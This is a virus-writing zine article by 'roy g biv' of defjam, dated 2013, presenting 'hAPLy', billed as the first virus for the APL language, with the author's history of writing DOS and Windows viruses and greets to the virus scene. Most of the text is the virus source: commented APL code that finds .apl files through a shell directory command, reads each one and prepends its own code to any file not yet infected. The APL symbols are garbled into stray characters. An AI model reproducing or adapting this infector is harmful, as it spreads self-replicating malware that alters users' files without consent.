Viruses in APL roy g biv / defjam -= defjam =- since 1992 bringing you the viruses of tomorrow today! About the author: Former DOS/Win16 virus writer, author of several virus families, including Ginger (see Coderz #1 zine for terrible buggy example, contact me for better sources ;), and Virus Bulletin 9/95 for a description of what they called Rainbow. Co-author of world's first virus using circular partition trick (Orsam, coded with Prototype in 1993). Designer of world's first XMS swapping virus (John Galt, coded by RT Fishel in 1995, only 30 bytes stub, the rest is swapped out).

Author of various retrovirus articles (eg see Vlad #7 for the strings that make your code invisible to TBScan). This is my first virus for APL. It is the world's first virus for APL. What is it? APL is an array-oriented language. It is famous for using the mathematical symbols instead of common function names, and for parsing from right to left. I spend several days to learn APL. It is really very difficult, but this is the result. :) Not much more to say about it, except that without proper font, you don't be able to read this code. a„b„(Œhost'cmd /c dir/b *.apl'),Œr ©get list of .apl files c„Ë –" ©delay 'for' loop execution :for d:in e„Œss aŒr ©for each file f„1†(Œss aŒr) ©get filename length g„(f-1)†a ©get filename a„f‡a ©discard filename from array f„Œimport g'txt' ©read entire file c„c,(0<(1†(Œss f'©hAPLy')))/(1†(Œss fŒr))†f ©isolate our code :endfor" –" ©delay 'for' loop execution :for d:in e ©for each file f„1†(Œss bŒr) ©get filename length g„(f-1)†b ©get filename b„f‡b ©discard filename from array f„Œimport g'txt' ©read entire file (((~+/cºf)/c),f)Œexport g'txt' ©write prepended code if not present already :endfor" ©hAPLy - roy g biv 20/3/13 Greets to friendly people (A-Z): Active - Benny - herm1t - hh86 - jqwerty - Malum - Obleak - Prototype - Ratter - Ronin - RT Fishel - sars - SPTH - The Gingerbread Man - Ultras - uNdErX - Vallez - Vecna - Whitehead rgb/defjam mar 2013 iam_rgb@hotmail.com
